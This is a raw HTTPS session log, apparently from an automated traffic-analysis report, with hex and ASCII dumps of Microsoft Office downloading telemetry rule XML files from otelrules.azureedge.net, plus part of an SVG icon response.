2024-10-24 14:04:38 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18433850 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Thu, 24 Oct 2024 14:04:38 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-10-24 14:04:38 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:17 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:17 UTC	540	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 21 Oct 2024 13:21:21 GMT ETag: "0x8DCF1D34132B902" x-ms-request-id: 8e5348b2-101e-007a-1be5-24047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140517Z-15b8d89586flspj6y6m5fk442w00000004x00000000040wc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:17 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-24 14:05:17 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49778	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 331d1c77-401e-0029-354e-229b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140518Z-16849878b785dznd7xpawq9gcn00000000f0000000003g6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-24 14:05:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49777	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:18 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fdb61705-b01e-0001-2f09-2246e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140518Z-16849878b78bkvbz1ry47zvsas00000007y00000000000yr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49776	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:18 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9afce852-e01e-0020-6fef-24de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140518Z-15b8d89586fcvr6p5956n5d0rc00000004v000000000cfmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49779	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 5e9af5f8-e01e-0099-17f4-24da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140518Z-15b8d89586fqj7k5uht6e8nnew0000000dw000000000kad3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-24 14:05:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49780	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 14:05:19 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-24 14:05:21 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 14:05:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 626c88a9-b01e-003d-54f3-24d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241024T140519Z-15b8d89586f2hk28h0h6zye26c00000001gg00000000ec8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
